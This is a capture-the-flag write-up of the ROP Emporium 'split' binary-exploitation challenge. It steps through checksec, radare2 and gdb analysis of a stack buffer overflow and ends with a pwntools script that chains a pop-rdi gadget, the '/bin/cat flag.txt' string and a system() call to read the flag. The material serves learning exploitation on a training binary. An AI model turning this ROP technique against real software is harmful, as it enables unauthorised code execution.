ROP Emporium Writeup – split

 

# Information:

CTF Name: ROP Emporium

CTF Challenge: split

Challenge Category: Binary Exploitation

Challenge Points: N/A

Level 2 ROP Emporium

# Used Tools:

# Challenge Description:  

I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to system(). It’s just a case of finding them and chaining them together to make the magic happen.  

…  

Once you’ve planned your chain, craft a suitable solution. We’re still trying to read the contents of the flag.txt file on the imaginary remote machine. You can do the x86 challenge with just a 2 link chain and the x86_64 challenge with a 3 link chain.   For the full challenge description go here.  

They also provide a zip file. For:

Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.

Note: This is an introductory challenge to ROP attacks. It is a great way to better understand how ROP attacks work and how to execute them yourself.  

# Writeup  

In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag, and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack.  

Below I will layout the steps that I took to solve this challenge.  

Step 1

I decided to start by gathering more information about the binary file, to so so I did the following command:    

 mregra on Cyber $ file split
 split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
 mregra on Cyber $ 

The binary is a ELF executable for 64-bit architecture. As expected.  

Step 2

Now I will verify the security of this binary file, by doing:    

 mregra on Cyber $ checksec split 
 [*] '/home/mregra/CTF_Code/ROP_Emporium/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 mregra on Cyber $ 

In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.  

We can double check by going to radare2 and run the following command:  

Let’s move on to the next step.  

Step 3

Afterward, I decided to run the program and see its behavior, this was the result:

We have an input field. After entering “my input” it ended the program, quite simple. Considering that we have an input field and that we do not have canaries protection it is probably possible to overflow a buffer, let’s check on radare2 if that is the case.  

Step 4

As said before lets see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:  

With this we have some important information. In particular We now know the address of the functions of this program, for example:  

In red we have the main, in blue the usefulFunction and in yellow the pwnme. I am guessing that maybe the flag is in usefulFunction or pwnme, or considering the hints provided in the challenge description it is somewhere in the code. Let’s move on now that we know the address of all of them. Let’s try to read the Assembly code for each one to see if we can learn something extra that might be relevant.

The main:

The pwnme function:  

The function usefulFunction:

It looks like the main function calls the pwnme and there is where we get the input from the user. It is also possible to see in this function that they are creating a buffer with size 0x20 (32 in decimal) and then with the read function they ask the user some input and write it into the buffer, the problem here is that they write 0x60 bytes (96 in decimal) from the standard input into the buffer, and obviously, 96 is greater than 32 making this a normal buffer overflow scenario. 

Note: A buffer overflow attack consists of filling the buffer with random characters beyond its capacity. The analogy comes from filling a glass until it overflows, spilling its contents. 

In the usefulFunction we have system call in the address 0x0040074b that we can use to get the flag.

According to the challenge description we have a /bin/cat string somewhere in the code. To find it we used the hint provided in the beginner’s guide that tells us how to locate useful strings in the assembly code using radare2. Here is the command:

Now we have the the address of the /bin/cat flag.txt that would help us to get the flag. The idea is this, we want to jump to the address with the /bin/cat flag.txt and than to the address in the usefulFunction that performs the system() call. Executing the /bin/cat flag.txt command.

However, we still need to consider two things, first we do not know the offset buffer overflow value. And second, we are in a 64-bit architecture and, as you know the stack is different in 64-bit when compared with the 32-bit architecture. We need to analyze the stack for both architectures, to cover our basis.

Step 5

From the challenge description: “You can do the x86 challenge with just a 2 link chain and the x86_64 challenge with a 3 link chain.” We need a 3 link chain for 64bit because of the way values are passed to functions and how the registers are placed in the stack in each architecture.  

For 0x86_32:  

In 0x86 (32bits) the function parameters are passed to functions on the stack.  

  syscall arg0  arg1 arg2  arg3 arg4  arg5
  %eax %ebx  %ecx %edx  %esi %edi  %ebp

Therefore, for the 32 bit version we do not need to use registers to pass arguments to functions, just the stack, so this would be the rop chain:  

ROP chain = offset_padding + system_addr + bin_cat_command  

For 0x86_64 (Which is our case):  

In 0x86_64 (64bits) the function parameters are passed to functions via registers.  

  syscall arg0  arg1 arg2  arg3 arg4  arg5
  %rax %rdi  %rsi %rdx  %rcx %r8  %r9

Reference can be found here.  

Therefore, for the 64 bit version we need to use registers to pass arguments to functions, and because we just need to pass one, which is the “/bin/call flag.txt” string to the system() call, we simply need to use %rdi.  

We need to find a ROP gadget that does a pop rdi ; ret.  

To find it I used the ROPgadget tool as such:  

As you can see in the output above we have a pop rdi ; ret ROP gadget in the address: “0x00000000004007c3“.  

And the ROP chain for 64bits is:  

ROP chain = offset_padding + pop_rdi_ret_gadget + bin_cat_command + system_addr  

Now we just need to find the buffer overflow offset.  

Step 6

Let’s now try to break the stack and see if we can find the exact amount of junk we need to inject to break it.  

We know from previously, that the buffer size is 32 bytes but the program is reading 96 bytes from the standard input. We know that we need more than 32 to overflow the buffer and it is not necessary to go over 96 bytes. I decided to give 50 bytes a try:  

First I went to gdb by typing:

 mregra on Cyber $ gdb split

Then I e was prompted with the gdb-peda$ console.  

Than I created a pattern with 50 bytes, as such:    

 gdb-peda$ pattern_create 50
 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

After having the pattern I run the usefulFunction program, by typing r, as you can see at the beginning of the next image. Then I inserted the previously generated pattern as input to the program. As expected it overflowed causing a segmentation fault (as you can see in the image). Knowing this, we now have to find the offset for this particular overflow. To do so I checked the contents of the register RSP.  

By looking at the image it is possible to find the register:    

RSP: 0x7fffffffdd48("AA0AAFAAbA\n")   

Now that we have the content of the RSP register, all it is left us to do to be able to find the offset is:  

So it seems that the offset is 40 bytes.

Step 7

Now that we have the offset, the extra pop rdi ; ret address (for 64bit users), the address for the “/bin/cat flag.txt” and the usefulFunction system call address (which is the function that we want to jump to because is the one that is going to execute the previously inject command to get us th flag) we are ready to create our exploit. To do so I decided once again to use Python 3. Below you can find the script:  

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = ELF('split')                  #context.binary

p = process(elf.path)

#Prepare the payload
payload = b"A"*40                   #creates the junk part of the payload
payload += p64(0x4007c3)            #pop rdi ; ret address ROP chain. Necessary because we are 64bits
payload += p64(0x601060)            #The /bin/cat flag.txt
payload += p64(0x40074b)            #address to system call in usefulFunction

# Send the payload

print(payload)
p.sendline(payload)                 #send the payload to the process

response = p.recvall()              #gets all messages in the process
print(re.search("(ROPE{.*?})",response.decode()))

In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the split in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.  

The idea is simple. We simply have to first add the junk (a 40 bytes long random array of characters, in our case “A”). After this, because I am in a 64bit architecture I had to pass the argument (“/bin/call flag.txt”) to the system call in a register, to do so I added a pop rdi ; ret ROPgadget address, the one we discovered in step 5. Afterward, I had to add the system() call address in the usefulFunction to the payload. Making it like this:  

payload = 40 bytes of junk + pop_rdi_ret_address + bin_cat_address + system_call_address  

Than I simply run the script, here is the result:  


The Python 3 script source code can be found here.

Thank you very much for reading!

Cheers,

MRegra


Share this post:

Popular posts

3 Replies to “ROP Emporium Writeup – split”

  1. Hurrah! After all I got a weblog from where I be capable of genuinely take helpful
    data regarding my study and knowledge.

  2. What’s up, I desire to subscribe for this weblog to get most up-to-date updates, thus where can i do it please help.

Leave a Reply

Your email address will not be published. Required fields are marked *